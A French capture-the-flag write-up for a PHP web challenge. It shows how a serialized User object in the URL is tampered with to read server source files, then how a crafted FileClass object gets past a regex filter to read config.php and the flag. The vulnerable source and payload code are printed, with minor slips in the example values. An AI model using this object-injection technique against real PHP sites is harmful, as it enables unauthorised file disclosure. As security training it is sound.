Sur la page d’accueil, nous nous retrouvons devant un formulaire contenant plusieurs champs : name, age et un champ picture contenant une liste de fichiers d’images.
Une fois ce formulaire validé, on se retrouve avec un recapitulatif de ce que nous avons entré ainsi que notre image encodée en base64 dans le tag <img>. Rien d’étrange jusqu’ici.
Par contre en regardant dans l’url de la page, nous retrouvons ce qui semble être un objet serializé php.
http://challenge.cybercamp.es:8092/show.php?u="O:4:"User":3{s:3:"age";s:6:"sdvsdv";s:4:"name";s:6:"dsvsdv";s:7:"picture";s:8:"cat5.png";}"
Et si on changeait ce cat5.png afin d’afficher autre chose qu’une image, par exemple le contenu de show.php ?
Bingo ! Nous retrouvons le code de la page en base64 dans la balise img !
Une fois décodé, il apparait un include.
<?php include('UClass.php'); $obj = unserialize($_GET['u']); echo $obj; ?>
Nous utilisions alors la même méthode que pour récupérer show.php mais cette fois-ci pour récupérer UClass.php
<?php include('config.php'); class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this->filename); } } class User { public $age = 0; public $name = ''; public $picture = 'null'; public function __toString() { $picture = $this->picture; if (preg_match("/\.\./",$picture)) { $picture = "null"; } if (preg_match("/config/",$picture)) { $picture = "null"; } if (preg_match("/\//",$picture)) { $picture = "null"; } if (preg_match("/^\./",$picture)) { $picture = "null"; } if (preg_match("/:/",$picture)) { $picture = "null"; } return '<center>Your cat "' . $this->name . '" is ' . $this->age . ' years old. ' . '<img height="200" width="200" src="data:image/png;base64,' . base64_encode(file_get_contents($picture)) . '"></center> '; } } ?>
Nous voyons ici tout le code permettant à la page de récapitulatif de s’afficher, ainsi qu’un include de config.php.
Le souci maintenant c’est que il y a un preg_match() qui nous bloque la récupération de config.php de la même même manière avec laquelle nous avons procédé pour les autres fichiers.
Cependant il y a la classe FileClass qui s’occupe de faire un file_get_contents sans se soucier du fichier qu’elle va lire.
Nous allons alors créer un objet FileClass ayant comme variable $filename « config.php »,
<?php class FileClass { public $filename = 'error.log'; } $obj = new FileClass(); echo serialize($obj); // O:9:"FileClass":1:{s:8:"filename";s:9:"error.log";} ?>
Une fois déserializé coté serveur, la classe FileClass est instanciée et ensuite le contenu de config.php est affiché grâce au __toString(), ce qui nous donne le flag.
<?php $you_are_cool="8df751c556681f8bd815a582351654fe"; ?>